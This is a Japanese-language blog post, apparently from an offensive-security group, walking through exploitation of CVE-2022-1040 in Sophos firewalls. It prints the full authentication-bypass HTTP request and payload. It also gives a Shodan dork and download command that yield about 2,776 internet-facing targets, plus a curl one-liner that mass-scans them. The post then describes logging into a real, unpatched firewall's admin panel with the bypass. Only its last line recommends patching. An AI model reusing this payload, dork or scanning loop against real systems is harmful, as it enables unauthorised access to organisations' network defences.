
CVE-2022-1040
攻撃的サイバーセキュリティを専門とする研究グループ Toasec, では、Sophos ファイアウォールにおけるこの脆弱性の分析を実施しました。
この脆弱性は、他の多くの脆弱性と同様に、twitter で検索する方法を知っていれば発見・報告できます。そこでは、3月頃からこの RCE に関する記事が現れ始めたことを確認しました。
このPOCが含まれるリポジトリを確認すると、次のようになります。
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
ログインのバイパスを可能にするペイロード (mode=151&json=) と、エンドポイント webconsole/webpages/login.jsp を確認できます。
次に、Greynoise で攻撃を分析し、実際に活発に悪用されているかどうかを確認します。

エンドポイントを特定し、greynoise で攻撃に使用されるいくつかの経路を確認したら、Shodan で dork を作成できます title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)"。この dork は最も可能性が高いと特定したものです。ただし、脆弱なバージョンは Sophos XG115w Firewall 17.0.10 MR-10 である点に注意してください。

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
データを確認します。
自動化を可能にする形式にデータをパースすると、2776 件の可能性のあるターゲットが存在することが確認できます。
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

次に、onliner で作業しやすくするために、カンマを削除してクリーンアップします。
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
これで、より適切な形式で onliner を実行できます。
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

ターゲットを検証したら、あとは 1 つを選択してログインパネルにアクセスし、テストを実行するだけです。

ログインリクエストをインターセプトし、リピーターに送信します。

ペイロードを使用してリクエストを変更すると、ファイアウォールの管理画面へのリダイレクトが発生するはずです。

index.jsp のパスへのアクセスを試みます。

この脆弱性が対象に存在することを確認しました。同様に、多くのホストで依然として有効です。ただし、現時点では、他の脆弱性に関する広範な緩和策が講じられていることも確認できます。
このような場合、最も重要なのは、メーカーがセキュリティパッチを提供し次第、速やかにアップデートとインストールを実施することです。